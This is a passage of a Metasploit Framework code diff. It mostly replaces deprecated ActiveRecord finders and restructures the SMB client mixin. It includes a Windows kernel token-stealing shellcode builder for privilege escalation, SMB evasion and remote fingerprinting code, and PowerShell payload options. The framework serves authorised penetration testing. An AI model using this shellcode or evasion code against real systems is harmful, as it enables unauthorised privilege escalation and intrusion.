cred = service.creds.find_by_user_and_ptype(token[0] || "", ptype)
unless cred
dcu = token[0].downcase
cred = service.creds.find_by_user_and_ptype_and_pass( dcu || "", ptype, token[1] || "")
unless cred
cred = service.creds.find_or_initialize_by_user_and_ptype(token[0] || "", ptype)
cred = service.creds.where(user: token[0] || "", ptype: ptype).first_or_initialize
end
end
end

View File

@ -166,9 +166,9 @@ module Msf::DBManager::Host
end
if opts[:comm] and opts[:comm].length > 0
host = wspace.hosts.find_or_initialize_by_address_and_comm(addr, opts[:comm])
host = wspace.hosts.where(address: addr, comm: opts[:comm]).first_or_initialize
else
host = wspace.hosts.find_or_initialize_by_address(addr)
host = wspace.hosts.where(address: addr).first_or_initialize
end
else
host = addr
@ -257,9 +257,9 @@ module Msf::DBManager::Host
end
if opts[:comm] and opts[:comm].length > 0
host = wspace.hosts.find_or_initialize_by_address_and_comm(addr, opts[:comm])
host = wspace.hosts.where(address: addr, comm: opts[:comm]).first_or_initialize
else
host = wspace.hosts.find_or_initialize_by_address(addr)
host = wspace.hosts.where(address: addr).first_or_initialize
end
else
host = addr

View File

@ -8,7 +8,7 @@ module Msf::DBManager::Ref
return ret[:ref] if ret[:ref]
::ActiveRecord::Base.connection_pool.with_connection {
ref = ::Mdm::Ref.find_or_initialize_by_name(opts[:name])
ref = ::Mdm::Ref.where(name: opts[:name]).first_or_initialize
if ref and ref.changed?
ref.save!
end

View File

@ -87,7 +87,7 @@ module Msf::DBManager::Service
proto = opts[:proto] || 'tcp'
service = host.services.find_or_initialize_by_port_and_proto(opts[:port].to_i, proto)
service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize
opts.each { |k,v|
if (service.attribute_names.include?(k.to_s))
service[k] = ((v and k == :name) ? v.to_s.downcase : v)

View File

@ -31,7 +31,7 @@ module Msf::DBManager::Vuln
vuln = nil
if service
vuln = service.vulns.find(:first, :include => [:vuln_details], :conditions => crit)
vuln = service.vulns.includes(:vuln_details).where(crit).first
end
# Return if we matched based on service
@ -39,7 +39,7 @@ module Msf::DBManager::Vuln
# Prevent matches against other services
crit["vulns.service_id"] = nil if service
vuln = host.vulns.find(:first, :include => [:vuln_details], :conditions => crit)
vuln = host.vulns.includes(:vuln_details).where(crit).first
return vuln
end
@ -168,7 +168,7 @@ module Msf::DBManager::Vuln
sname = opts[:proto]
end
service = host.services.find_or_create_by_port_and_proto(opts[:port].to_i, proto)
service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_create
end
# Try to find an existing vulnerability with the same service & references

View File

@ -135,7 +135,7 @@ module Msf::DBManager::Web
ret = {}
page = ::Mdm::WebPage.find_or_initialize_by_web_site_id_and_path_and_query(site[:id], path, query)
page = ::Mdm::WebPage.where(web_site_id: site[:id], path: path, query: query).first_or_initialize
page.code = code
page.body = body
page.headers = headers
@ -243,7 +243,7 @@ module Msf::DBManager::Web
=end
vhost ||= host.address
site = ::Mdm::WebSite.find_or_initialize_by_vhost_and_service_id(vhost, serv[:id])
site = ::Mdm::WebSite.where(vhost: vhost, service_id: serv[:id]).first_or_initialize
site.options = opts[:options] if opts[:options]
# XXX:
@ -342,7 +342,7 @@ module Msf::DBManager::Web
meth = meth.to_s.upcase
vuln = ::Mdm::WebVuln.find_or_initialize_by_web_site_id_and_path_and_method_and_pname_and_name_and_category_and_query(site[:id], path, meth, pname, name, cat, quer)
vuln = ::Mdm::WebVuln.where(web_site_id: site[:id], path: path, method: meth, pname: pname, name: name, category: cat, query: quer).first_or_initialize
vuln.name = name
vuln.risk = risk
vuln.params = para

View File

@ -4,7 +4,7 @@ module Msf::DBManager::Workspace
#
def add_workspace(name)
::ActiveRecord::Base.connection_pool.with_connection {
::Mdm::Workspace.find_or_create_by_name(name)
::Mdm::Workspace.where(name: name).first_or_create
}
end

View File

@ -83,7 +83,11 @@ module Exploit::Remote::Ftp
# convert port to FTP syntax
datahost = "#{$1}.#{$2}.#{$3}.#{$4}"
dataport = ($5.to_i * 256) + $6.to_i
self.datasocket = Rex::Socket::Tcp.create('PeerHost' => datahost, 'PeerPort' => dataport)
self.datasocket = Rex::Socket::Tcp.create(
'PeerHost' => datahost,
'PeerPort' => dataport,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
end
self.datasocket
end

View File

@ -116,10 +116,12 @@ module Exploit::Local::WindowsKernel
# original token to so it can be restored later.
# @param arch [String] The architecture to return shellcode for. If this is nil,
# the arch will be guessed from the target and then module information.
# @param append_ret [Boolean] Append a ret instruction for use when being called
# in place of HaliQuerySystemInformation.
# @return [String] The token stealing shellcode.
# @raise [ArgumentError] If the arch is incompatible.
#
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
def token_stealing_shellcode(target, backup_token = nil, arch = nil, append_ret = true)
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
if arch.nil? && module_info['Arch']
arch = module_info['Arch']
@ -144,15 +146,17 @@ module Exploit::Local::WindowsKernel
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
end
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax, 88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x75\xe8" # jne 0000101e ======================|
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx, dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
if append_ret
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
end
else
# if this is reached the issue most likely exists in the exploit module
print_error('Unsupported arch for token stealing shellcode')

View File

@ -28,9 +28,10 @@ require 'msf/core/exploit/ipv6'
require 'msf/core/exploit/dhcp'
require 'msf/core/exploit/ntlm'
require 'msf/core/exploit/dcerpc'
require 'msf/core/exploit/smb'
require 'msf/core/exploit/smb/authenticated'
require 'msf/core/exploit/smb/psexec'
require 'msf/core/exploit/smb/client'
require 'msf/core/exploit/smb/client/authenticated'
require 'msf/core/exploit/smb/client/psexec'
require 'msf/core/exploit/smb/server'
require 'msf/core/exploit/ftp'
require 'msf/core/exploit/tftp'
require 'msf/core/exploit/telnet'

View File

@ -296,8 +296,8 @@ EOS
if opts[:prepend_sleep]
if opts[:prepend_sleep].to_i > 0
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
else
vprint_error('Sleep time must be greater than 0 seconds')
elsif opts[:prepend_sleep].to_i < 0
vprint_error('Sleep time must be greater than or equal to 0 seconds')
end
end

View File

@ -1,645 +0,0 @@
# -*- coding: binary -*-
require 'rex/proto/smb'
require 'rex/proto/ntlm'
require 'rex/proto/dcerpc'
require 'rex/encoder/ndr'
module Msf
require 'msf/core/exploit/smb_server'
###
#
# This mixin provides utility methods for interacting with a SMB/CIFS service on
# a remote machine. These methods may generally be useful in the context of
# exploitation. This mixin extends the Tcp exploit mixin. Only one SMB
# service can be accessed at a time using this class.
#
###
module Exploit::Remote::SMB
include Exploit::Remote::Tcp
include Exploit::Remote::NTLM::Client
SIMPLE = Rex::Proto::SMB::SimpleClient
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
# Alias over the Rex DCERPC protocol modules
DCERPCPacket = Rex::Proto::DCERPC::Packet
DCERPCClient = Rex::Proto::DCERPC::Client
DCERPCResponse = Rex::Proto::DCERPC::Response
DCERPCUUID = Rex::Proto::DCERPC::UUID
NDR = Rex::Encoder::NDR
def initialize(info = {})
super
register_evasion_options(
[
OptBool.new('SMB::pipe_evasion', [ true, 'Enable segmented read/writes for SMB Pipes', false]),
OptInt.new('SMB::pipe_write_min_size', [ true, 'Minimum buffer size for pipe writes', 1]),
OptInt.new('SMB::pipe_write_max_size', [ true, 'Maximum buffer size for pipe writes', 1024]),
OptInt.new('SMB::pipe_read_min_size', [ true, 'Minimum buffer size for pipe reads', 1]),
OptInt.new('SMB::pipe_read_max_size', [ true, 'Maximum buffer size for pipe reads', 1024]),
OptInt.new('SMB::pad_data_level', [ true, 'Place extra padding between headers and data (level 0-3)', 0]),
OptInt.new('SMB::pad_file_level', [ true, 'Obscure path names used in open/create (level 0-3)', 0]),
OptInt.new('SMB::obscure_trans_pipe_level', [ true, 'Obscure PIPE string in TransNamedPipe (level 0-3)', 0]),
], Msf::Exploit::Remote::SMB)
register_advanced_options(
[
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]),
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']),
OptBool.new('SMB::VerifySignature', [ true, "Enforces client-side verification of server response signatures", false]),
OptInt.new('SMB::ChunkSize', [ true, 'The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing', 500]),
#
# Control the identified operating system of the client
#
OptString.new('SMB::Native_OS', [ true, 'The Native OS to send during authentication', 'Windows 2000 2195']),
OptString.new('SMB::Native_LM', [ true, 'The Native LM to send during authentication', 'Windows 2000 5.0']),
], Msf::Exploit::Remote::SMB)
register_options(
[
Opt::RHOST,
OptInt.new('RPORT', [ true, 'Set the SMB service port', 445])
], Msf::Exploit::Remote::SMB)
register_autofilter_ports([ 139, 445])
register_autofilter_services(%W{ netbios-ssn microsoft-ds })
end
# Override {Exploit::Remote::Tcp#connect} to setup an SMB connection
# and configure evasion options
#
# Also populates {#simple}.
#
# @param (see Exploit::Remote::Tcp#connect)
# @return (see Exploit::Remote::Tcp#connect)
def connect(global=true)
disconnect() if global
s = super(global)
self.sock = s if global
# Disable direct SMB when SMBDirect has not been set
# and the destination port is configured as 139
direct = smb_direct
if(datastore.default?('SMBDirect') and rport.to_i == 139)
direct = false
end
c = SIMPLE.new(s, direct)
# setup pipe evasion foo
if datastore['SMB::pipe_evasion']
# XXX - insert code to change the instance of the read/write functions to do segmentation
end
if (datastore['SMB::pad_data_level'])
c.client.evasion_opts['pad_data'] = datastore['SMB::pad_data_level']
end
if (datastore['SMB::pad_file_level'])
c.client.evasion_opts['pad_file'] = datastore['SMB::pad_file_level']
end
if (datastore['SMB::obscure_trans_pipe_level'])
c.client.evasion_opts['obscure_trans_pipe'] = datastore['SMB::obscure_trans_pipe_level']
end
self.simple = c if global
c
end
# Convert a standard ASCII string to 16-bit Unicode
def unicode(str)
Rex::Text.to_unicode(str)
end
# Establishes an SMB session over the default socket and connects to
# the IPC$ share.
#
# You should call {#connect} before calling this
#
# @return [void]
def smb_login
simple.login(
datastore['SMBName'],
datastore['SMBUser'],
datastore['SMBPass'],
datastore['SMBDomain'],
datastore['SMB::VerifySignature'],
datastore['NTLM::UseNTLMv2'],
datastore['NTLM::UseNTLM2_session'],
datastore['NTLM::SendLM'],
datastore['NTLM::UseLMKey'],
datastore['NTLM::SendNTLM'],
datastore['SMB::Native_OS'],
datastore['SMB::Native_LM'],
{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
end
# This method returns the native operating system of the peer
def smb_peer_os
self.simple.client.peer_native_os
end
# This method returns the native lanman version of the peer
def smb_peer_lm
self.simple.client.peer_native_lm
end
# This method opens a handle to an IPC pipe
def smb_create(pipe)
self.simple.create_pipe(pipe)
end
#the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations)
#cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED
#fd.chunk_size = 500 is better
def smb_open(path, perm)
self.simple.open(path, perm, datastore['SMB::ChunkSize'])
end
def smb_hostname
datastore['SMBName'] || '*SMBSERVER'
end
def smb_direct
datastore['SMBDirect']
end
def domain
datastore['SMBDomain']
end
def smbhost
if domain == "."
"#{rhost}:#{rport}"
else
"#{rhost}:#{rport}|#{domain}"
end
end
# If the username contains a / slash, then
# split it as a domain/username. NOTE: this
# is predicated on forward slashes, and not
# Microsoft's backwards slash convention.
def domain_username_split(user)
return user if(user.nil? || user.empty?)
if !user[/\//] # Only /, not \!
return [nil,user]
else
return user.split("/",2)
end
end
def splitname(uname)
if datastore["PRESERVE_DOMAINS"]
d,u = domain_username_split(uname)
return u
else
return uname
end
end
# Whether a remote file exists
#
# @param file [String] Path to a file to remove, relative to the
# most-recently connected share
# @raise [Rex::Proto::SMB::Exceptions::ErrorCode]
def smb_file_exist?(file)
begin
fd = simple.open(file, 'ro')
rescue XCEPT::ErrorCode => e
# If attempting to open the file results in a "*_NOT_FOUND" error,
# then we can be sure the file is not there.
#
# Copy-pasted from smb/exceptions.rb to avoid the gymnastics
# required to pull them out of a giant inverted hash
#
# 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND",
# 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND",
# 0xC0000225 => "STATUS_NOT_FOUND",
error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code)
# If the server returns some other error, then there was a
# permissions problem or some other difficulty that we can't
# really account for and hope the caller can deal with it.
raise e unless error_is_not_found
found = !error_is_not_found
else
# There was no exception, so we know the file is openable
fd.close
found = true
end
found
end
# Remove remote file
#
# @param file (see #smb_file_exist?)
# @return [void]
def smb_file_rm(file)
fd = smb_open(file, 'ro')
fd.delete
end
#
# Fingerprinting methods
#
# Calls the EnumPrinters() function of the spooler service
def smb_enumprinters(flags, name, level, blen)
stub =
NDR.long(flags) +
(name ? NDR.uwstring(name) : NDR.long(0)) +
NDR.long(level) +
NDR.long(rand(0xffffffff)+1)+
NDR.long(blen) +
"\x00" * blen +
NDR.long(blen)
handle = dcerpc_handle(
'12345678-1234-abcd-ef00-0123456789ab', '1.0',
'ncacn_np', ["\\SPOOLSS"]
)
begin
dcerpc_bind(handle)
dcerpc.call(0x00, stub)
return dcerpc.last_response.stub_data
rescue ::Interrupt
raise $!
rescue ::Exception => e
return nil
end
end
# This method dumps the print provider strings from the spooler
def smb_enumprintproviders
resp = smb_enumprinters(8, nil, 1, 0)
return nil if not resp
rptr, tmp, blen = resp.unpack("V*")
resp = smb_enumprinters(8, nil, 1, blen)
return nil if not resp
bcnt,pcnt,stat = resp[-12, 12].unpack("VVV")
return nil if stat != 0
return nil if pcnt == 0
return nil if bcnt > blen
return nil if pcnt < 3
#
# The correct way, which leads to invalid offsets :-(
#
#providers = []
#
#0.upto(pcnt-1) do |i|
# flags,desc_o,name_o,comm_o = resp[8 + (i*16), 16].unpack("VVVV")
#
# #desc = read_unicode(resp,8+desc_o).gsub("\x00", '')
# #name = read_unicode(resp,8+name_o).gsub("\x00", '')
# #comm = read_unicode(resp,8+comm_o).gsub("\x00", '')
# #providers << [flags,desc,name,comm]
#end
#
#providers
return resp
end
# This method performs an extensive set of fingerprinting operations
def smb_fingerprint
fprint = {}
# Connect to the server if needed
if not self.simple
connect()
smb_login()
end
fprint['native_os'] = smb_peer_os()
fprint['native_lm'] = smb_peer_lm()
# Leverage Recog for SMB native OS fingerprinting
fp_match = Recog::Nizer.match('smb.native_os', fprint['native_os']) || { }
os = fp_match['os.product'] || 'Unknown'
sp = fp_match['os.version'] || ''
# Metasploit prefers 'Windows 2003' vs 'Windows Server 2003'
if os =~ /^Windows Server/
os = os.sub(/^Windows Server/, 'Windows')
end
if fp_match['os.edition']
fprint['edition'] = fp_match['os.edition']
end
if fp_match['os.build']
fprint['build'] = fp_match['os.build']
end
if sp == ''
sp = smb_fingerprint_windows_sp(os)
end
lang = smb_fingerprint_windows_lang
fprint['os'] = os
fprint['sp'] = sp
fprint['lang'] = lang
fprint
end
#
# Determine the service pack level of a Windows system via SMB probes
#
def smb_fingerprint_windows_sp(os)
sp = ''
if (os == 'Windows XP')
# SRVSVC was blocked in SP2
begin
smb_create("\\SRVSVC")
sp = 'Service Pack 0 / 1'
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
if (e.error_code == 0xc0000022)
sp = 'Service Pack 2+'
end
end
end
if (os == 'Windows 2000' and sp.length == 0)
# LLSRPC was blocked in a post-SP4 update
begin
smb_create("\\LLSRPC")
sp = 'Service Pack 0 - 4'
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
if (e.error_code == 0xc0000022)
sp = 'Service Pack 4 with MS05-010+'
end
end
end
#
# Perform granular XP SP checks if LSARPC is exposed
#
if (os == 'Windows XP')
#
# Service Pack 2 added a range(0,64000) to opnum 0x22 in SRVSVC
# Credit to spoonm for first use of unbounded [out] buffers
#
handle = dcerpc_handle(
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
'ncacn_np', ["\\BROWSER"]
)
begin
dcerpc_bind(handle)
stub =
NDR.uwstring(Rex::Text.rand_text_alpha(rand(10)+1)) +
NDR.wstring(Rex::Text.rand_text_alpha(rand(10)+1)) +
NDR.long(64001) +
NDR.long(0) +
NDR.long(0)
dcerpc.call(0x22, stub)
sp = "Service Pack 0 / 1"
rescue ::Interrupt
raise $!
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
rescue ::Rex::Proto::SMB::Exceptions::ReadPacket
rescue ::Rex::Proto::DCERPC::Exceptions::Fault
sp = "Service Pack 2+"
rescue ::Exception
end
#
# Service Pack 3 fixed information leaks via [unique][out] pointers
# Call SRVSVC::NetRemoteTOD() to return [out] [ref] [unique]
# Credit:
# Pointer leak is well known, but Immunity also covered in a paper
# Silent fix of pointer leak in SP3 and detection method by Rhys Kidd
#
handle = dcerpc_handle(
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
'ncacn_np', ["\\BROWSER"]
)
begin
dcerpc_bind(handle)
stub = NDR.uwstring(Rex::Text.rand_text_alpha(rand(8)+1))
resp = dcerpc.call(0x1c, stub)
if(resp and resp[0,4] == "\x00\x00\x02\x00")
sp = "Service Pack 3"
else
if(resp and sp =~ /Service Pack 2\+/)
sp = "Service Pack 2"
end
end
rescue ::Interrupt
raise $!
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
rescue ::Rex::Proto::SMB::Exceptions::ReadPacket
rescue ::Exception
end
end
sp
end
#
# Determine the native language pack of a Windows system via SMB probes
#
def smb_fingerprint_windows_lang
#
# Remote language detection via Print Providers
# Credit: http://immunityinc.com/downloads/Remote_Language_Detection_in_Immunity_CANVAS.odt
#
lang = 'Unknown'
sigs =
{
'English' =>
[
Rex::Text.to_unicode('Windows NT Remote Printers'),
Rex::Text.to_unicode('LanMan Print Services')
],
'Spanish' =>
[
Rex::Text.to_unicode('Impresoras remotas Windows NT'),
Rex::Text.to_unicode('Impresoras remotas de Windows NT')
],
'Italian' =>
[
Rex::Text.to_unicode('Stampanti remote di Windows NT'),
Rex::Text.to_unicode('Servizi di stampa LanMan')
],
'French' =>
[
Rex::Text.to_unicode('Imprimantes distantes NT'),
Rex::Text.to_unicode('Imprimantes distantes pour Windows NT'),
Rex::Text.to_unicode("Services d'impression LanMan")
],
'German' =>
[
Rex::Text.to_unicode('Remotedrucker')
],
'Portuguese - Brazilian' =>
[
Rex::Text.to_unicode('Impr. remotas Windows NT'),
Rex::Text.to_unicode('Impressoras remotas do Windows NT')
],
'Portuguese' =>
[
Rex::Text.to_unicode('Imp. remotas do Windows NT')
],
'Hungarian' =>
[
Rex::Text.to_unicode("\x54\xe1\x76\x6f\x6c\x69\x20\x6e\x79\x6f\x6d\x74\x61\x74\xf3\x6b")
],
'Finnish' =>
[
Rex::Text.to_unicode("\x45\x74\xe4\x74\x75\x6c\x6f\x73\x74\x69\x6d\x65\x74")
],
'Dutch' =>
[
Rex::Text.to_unicode('Externe printers voor NT')
],
'Danish' =>
[
Rex::Text.to_unicode('Fjernprintere')
],
'Swedish' =>
[
Rex::Text.to_unicode("\x46\x6a\xe4\x72\x72\x73\x6b\x72\x69\x76\x61\x72\x65")
],
'Polish' =>
[
Rex::Text.to_unicode('Zdalne drukarki')
],
'Czech' =>
[
Rex::Text.to_unicode("\x56\x7a\x64\xe1\x6c\x65\x6e\xe9\x20\x74\x69\x73\x6b\xe1\x72\x6e\x79")
],
'Turkish' =>
[
"\x59\x00\x61\x00\x7a\x00\x31\x01\x63\x00\x31\x01\x6c\x00\x61\x00\x72\x00"
],
'Japanese' =>
[
"\xea\x30\xe2\x30\xfc\x30\xc8\x30\x20\x00\xd7\x30\xea\x30\xf3\x30\xbf\x30"
],
'Chinese - Traditional' =>
[
"\xdc\x8f\x0b\x7a\x53\x62\x70\x53\x3a\x67"
],
'Chinese - Traditional / Taiwan' =>
[
"\x60\x90\xef\x7a\x70\x53\x68\x88\x5f\x6a",
],
'Korean' =>
[
"\xd0\xc6\xa9\xac\x20\x00\x04\xd5\xb0\xb9\x30\xd1",
],
'Russian' =>
[
"\x1f\x04\x40\x04\x38\x04\x3d\x04\x42\x04\x35\x04\x40\x04\x4b\x04\x20\x00\x43\x04\x34\x04\x30\x04\x3b\x04\x35\x04\x3d\x04\x3d\x04\x3e\x04\x33\x04\x3e\x04\x20\x00\x34\x04\x3e\x04\x41\x04\x42\x04\x43\x04\x3f\x04\x30\x04",
],
}
begin
prov = smb_enumprintproviders()
if(prov)
sigs.each_key do |k|
sigs[k].each do |s|
if(prov.index(s))
lang = k
break
end
break if lang != 'Unknown'
end
break if lang != 'Unknown'
end
if(lang == 'Unknown')
@fpcache ||= {}
mhash = ::Digest::MD5.hexdigest(prov[4,prov.length-4])
if(not @fpcache[mhash])
buff = "\n"
buff << "*** NEW FINGERPRINT: PLEASE SEND TO [ msfdev[at]metasploit.com ]\n"
buff << " VERS: $Revision$\n"
buff << " HOST: #{rhost}\n"
buff << " OS: #{os}\n"
buff << " SP: #{sp}\n"
prov.unpack("H*")[0].scan(/.{64}|.*/).each do |line|
next if line.length == 0
buff << " FP: #{line}\n"
end
prov.split(/\x00\x00+/n).each do |line|
line.gsub!("\x00",'')
line.strip!
next if line.length < 6
buff << " TXT: #{line}\n"
end
buff << "*** END FINGERPRINT\n"
print_line(buff)
@fpcache[mhash] = true
end
end
end
rescue ::Interrupt
raise $!
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
end
lang
end
# @return [Rex::Proto::SMB::SimpleClient]
attr_accessor :simple
end
end

View File

@ -0,0 +1,636 @@
# -*- coding: binary -*-
require 'rex/proto/smb'
require 'rex/proto/ntlm'
require 'rex/proto/dcerpc'
require 'rex/encoder/ndr'
module Msf
module Exploit::Remote::SMB
# This mixin provides utility methods for interacting with a SMB/CIFS service on
# a remote machine. These methods may generally be useful in the context of
# exploitation. This mixin extends the Tcp exploit mixin. Only one SMB
# service can be accessed at a time using this class.
module Client
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::NTLM::Client
SIMPLE = Rex::Proto::SMB::SimpleClient
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
# Alias over the Rex DCERPC protocol modules
DCERPCPacket = Rex::Proto::DCERPC::Packet
DCERPCClient = Rex::Proto::DCERPC::Client
DCERPCResponse = Rex::Proto::DCERPC::Response
DCERPCUUID = Rex::Proto::DCERPC::UUID
NDR = Rex::Encoder::NDR
def initialize(info = {})
super
register_evasion_options(
[
OptBool.new('SMB::pipe_evasion', [ true, 'Enable segmented read/writes for SMB Pipes', false]),
OptInt.new('SMB::pipe_write_min_size', [ true, 'Minimum buffer size for pipe writes', 1]),
OptInt.new('SMB::pipe_write_max_size', [ true, 'Maximum buffer size for pipe writes', 1024]),
OptInt.new('SMB::pipe_read_min_size', [ true, 'Minimum buffer size for pipe reads', 1]),
OptInt.new('SMB::pipe_read_max_size', [ true, 'Maximum buffer size for pipe reads', 1024]),
OptInt.new('SMB::pad_data_level', [ true, 'Place extra padding between headers and data (level 0-3)', 0]),
OptInt.new('SMB::pad_file_level', [ true, 'Obscure path names used in open/create (level 0-3)', 0]),
OptInt.new('SMB::obscure_trans_pipe_level', [ true, 'Obscure PIPE string in TransNamedPipe (level 0-3)', 0]),
], Msf::Exploit::Remote::SMB::Client)
register_advanced_options(
[
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]),
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']),
OptBool.new('SMB::VerifySignature', [ true, "Enforces client-side verification of server response signatures", false]),
OptInt.new('SMB::ChunkSize', [ true, 'The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing', 500]),
#
# Control the identified operating system of the client
#
OptString.new('SMB::Native_OS', [ true, 'The Native OS to send during authentication', 'Windows 2000 2195']),
OptString.new('SMB::Native_LM', [ true, 'The Native LM to send during authentication', 'Windows 2000 5.0']),
], Msf::Exploit::Remote::SMB::Client)
register_options(
[
Opt::RHOST,
OptInt.new('RPORT', [ true, 'Set the SMB service port', 445])
], Msf::Exploit::Remote::SMB::Client)
register_autofilter_ports([ 139, 445])
register_autofilter_services(%W{ netbios-ssn microsoft-ds })
end
# Override {Exploit::Remote::Tcp#connect} to setup an SMB connection
# and configure evasion options
#
# Also populates {#simple}.
#
# @param (see Exploit::Remote::Tcp#connect)
# @return (see Exploit::Remote::Tcp#connect)
def connect(global=true)
disconnect() if global
s = super(global)
self.sock = s if global
# Disable direct SMB when SMBDirect has not been set
# and the destination port is configured as 139
direct = smb_direct
if(datastore.default?('SMBDirect') and rport.to_i == 139)
direct = false
end
c = SIMPLE.new(s, direct)
# setup pipe evasion foo
if datastore['SMB::pipe_evasion']
# XXX - insert code to change the instance of the read/write functions to do segmentation
end
if (datastore['SMB::pad_data_level'])
c.client.evasion_opts['pad_data'] = datastore['SMB::pad_data_level']
end
if (datastore['SMB::pad_file_level'])
c.client.evasion_opts['pad_file'] = datastore['SMB::pad_file_level']
end
if (datastore['SMB::obscure_trans_pipe_level'])
c.client.evasion_opts['obscure_trans_pipe'] = datastore['SMB::obscure_trans_pipe_level']
end
self.simple = c if global
c
end
# Convert a standard ASCII string to 16-bit Unicode
def unicode(str)
Rex::Text.to_unicode(str)
end
# Establishes an SMB session over the default socket and connects to
# the IPC$ share.
#
# You should call {#connect} before calling this
#
# @return [void]
def smb_login
simple.login(
datastore['SMBName'],
datastore['SMBUser'],
datastore['SMBPass'],
datastore['SMBDomain'],
datastore['SMB::VerifySignature'],
datastore['NTLM::UseNTLMv2'],
datastore['NTLM::UseNTLM2_session'],
datastore['NTLM::SendLM'],
datastore['NTLM::UseLMKey'],
datastore['NTLM::SendNTLM'],
datastore['SMB::Native_OS'],
datastore['SMB::Native_LM'],
{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
end
# This method returns the native operating system of the peer
def smb_peer_os
self.simple.client.peer_native_os
end
# This method returns the native lanman version of the peer
def smb_peer_lm
self.simple.client.peer_native_lm
end
# This method opens a handle to an IPC pipe
def smb_create(pipe)
self.simple.create_pipe(pipe)
end
#the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations)
#cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED
#fd.chunk_size = 500 is better
def smb_open(path, perm)
self.simple.open(path, perm, datastore['SMB::ChunkSize'])
end
def smb_hostname
datastore['SMBName'] || '*SMBSERVER'
end
def smb_direct
datastore['SMBDirect']
end
def domain
datastore['SMBDomain']
end
def smbhost
if domain == "."
"#{rhost}:#{rport}"
else
"#{rhost}:#{rport}|#{domain}"
end
end
# If the username contains a / slash, then
# split it as a domain/username. NOTE: this
# is predicated on forward slashes, and not
# Microsoft's backwards slash convention.
def domain_username_split(user)
return user if(user.nil? || user.empty?)
if !user[/\//] # Only /, not \!
return [nil,user]
else
return user.split("/",2)
end
end
def splitname(uname)
if datastore["PRESERVE_DOMAINS"]
d,u = domain_username_split(uname)
return u
else
return uname
end
end
# Whether a remote file exists
#
# @param file [String] Path to a file to remove, relative to the
# most-recently connected share
# @raise [Rex::Proto::SMB::Exceptions::ErrorCode]
def smb_file_exist?(file)
begin
fd = simple.open(file, 'ro')
rescue XCEPT::ErrorCode => e
# If attempting to open the file results in a "*_NOT_FOUND" error,
# then we can be sure the file is not there.
#
# Copy-pasted from smb/exceptions.rb to avoid the gymnastics
# required to pull them out of a giant inverted hash
#
# 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND",
# 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND",
# 0xC0000225 => "STATUS_NOT_FOUND",
